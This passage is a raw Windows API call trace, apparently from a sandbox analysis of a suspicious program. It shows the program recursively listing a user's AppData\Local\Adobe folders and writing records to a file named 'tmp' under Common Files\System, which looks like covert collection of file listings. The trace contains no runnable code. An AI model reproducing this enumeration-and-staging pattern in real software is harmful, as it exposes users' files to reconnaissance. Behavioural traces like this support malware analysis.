lpBuffer=0x18c614*, lpNumberOfBytesWritten=0x18c5f4*=0x3e, lpOverlapped=0x0) returned 1 [0126.201] GetLastError () returned 0xb7 [0126.201] SetLastError (dwErrCode=0xb7) [0126.201] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*", lpFindFileData=0x18d960 | out: lpFindFileData=0x18d960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x823440, cFileName=".", cAlternateFileName="")) returned 0x7d1530 [0126.201] FindNextFileA (in: hFindFile=0x7d1530, lpFindFileData=0x18d960 | out: lpFindFileData=0x18d960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x823440, cFileName="..", cAlternateFileName="")) returned 1 [0126.202] FindNextFileA (in: hFindFile=0x7d1530, lpFindFileData=0x18d960 | out: lpFindFileData=0x18d960*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x823440, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.202] AreFileApisANSI () returned 1 [0126.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d5d0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0126.202] GetFileType (hFile=0x164) returned 0x1 [0126.202] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d630 | out: lpNewFilePointer=0x0) returned 1 [0126.202] GetLastError () returned 0xb7 [0126.202] SetLastError (dwErrCode=0xb7) [0126.202] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d67c | out: lpNewFilePointer=0x0) returned 1 [0126.202] WriteFile (in: hFile=0x164, lpBuffer=0x18c2bc*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x18c29c, lpOverlapped=0x0 | out: lpBuffer=0x18c2bc*, lpNumberOfBytesWritten=0x18c29c*=0x44, lpOverlapped=0x0) returned 1 [0126.202] GetLastError () returned 0xb7 [0126.202] SetLastError (dwErrCode=0xb7) [0126.202] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.*", lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1570 [0126.203] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.203] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.203] AreFileApisANSI () returned 1 [0126.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d274, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0126.203] GetFileType (hFile=0x168) returned 0x1 [0126.203] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d2d0 | out: lpNewFilePointer=0x0) returned 1 [0126.203] GetLastError () returned 0xb7 [0126.203] SetLastError (dwErrCode=0xb7) [0126.203] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d31c | out: lpNewFilePointer=0x0) returned 1 [0126.203] WriteFile (in: hFile=0x168, lpBuffer=0x18bf5c*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x18bf3c, lpOverlapped=0x0 | out: lpBuffer=0x18bf5c*, lpNumberOfBytesWritten=0x18bf3c*=0x4c, lpOverlapped=0x0) returned 1 [0126.204] GetLastError () returned 0xb7 [0126.204] SetLastError (dwErrCode=0xb7) [0126.204] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15b0 [0126.204] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.204] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.204] AreFileApisANSI () returned 1 [0126.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.204] GetFileType (hFile=0x16c) returned 0x1 [0126.204] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.205] GetLastError () returned 0xb7 [0126.205] SetLastError (dwErrCode=0xb7) [0126.205] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.205] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x51, lpOverlapped=0x0) returned 1 [0126.205] GetLastError () returned 0xb7 [0126.205] SetLastError (dwErrCode=0xb7) [0126.205] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.206] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.206] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x7, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.206] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x24, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.206] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.206] AreFileApisANSI () returned 1 [0126.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.206] GetFileType (hFile=0x170) returned 0x1 [0126.206] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.207] GetLastError () returned 0xb7 [0126.207] SetLastError (dwErrCode=0xb7) [0126.207] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.207] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x57, lpOverlapped=0x0) returned 1 [0126.207] GetLastError () returned 0xb7 [0126.207] SetLastError (dwErrCode=0xb7) [0126.207] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.208] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.208] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.208] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.208] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.208] GetLastError () returned 0x12 [0126.208] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x18ccb4, dwReserved1=0x18cce4, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.208] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x8c00008c, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.209] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x8c00008c, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.209] FindClose (in: hFindFile=0x7d15f0 | out: hFindFile=0x7d15f0) returned 1 [0126.209] GetLastError () returned 0x12 [0126.209] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.209] FindClose (in: hFindFile=0x7d15b0 | out: hFindFile=0x7d15b0) returned 1 [0126.209] GetLastError () returned 0x12 [0126.209] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18d36c, dwReserved1=0x18d39c, cFileName="Color", cAlternateFileName="")) returned 1 [0126.209] AreFileApisANSI () returned 1 [0126.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d274, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0126.209] GetFileType (hFile=0x168) returned 0x1 [0126.209] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d2d0 | out: lpNewFilePointer=0x0) returned 1 [0126.209] GetLastError () returned 0xb7 [0126.209] SetLastError (dwErrCode=0xb7) [0126.209] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d31c | out: lpNewFilePointer=0x0) returned 1 [0126.209] WriteFile (in: hFile=0x168, lpBuffer=0x18bf5c*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x18bf3c, lpOverlapped=0x0 | out: lpBuffer=0x18bf5c*, lpNumberOfBytesWritten=0x18bf3c*=0x4a, lpOverlapped=0x0) returned 1 [0126.210] GetLastError () returned 0xb7 [0126.210] SetLastError (dwErrCode=0xb7) [0126.210] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.*", lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15b0 [0126.210] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.210] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.210] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.210] AreFileApisANSI () returned 1 [0126.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.210] GetFileType (hFile=0x16c) returned 0x1 [0126.210] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.210] GetLastError () returned 0xb7 [0126.210] SetLastError (dwErrCode=0xb7) [0126.211] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.211] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x53, lpOverlapped=0x0) returned 1 [0126.211] GetLastError () returned 0xb7 [0126.211] SetLastError (dwErrCode=0xb7) [0126.211] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.212] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.212] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.212] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 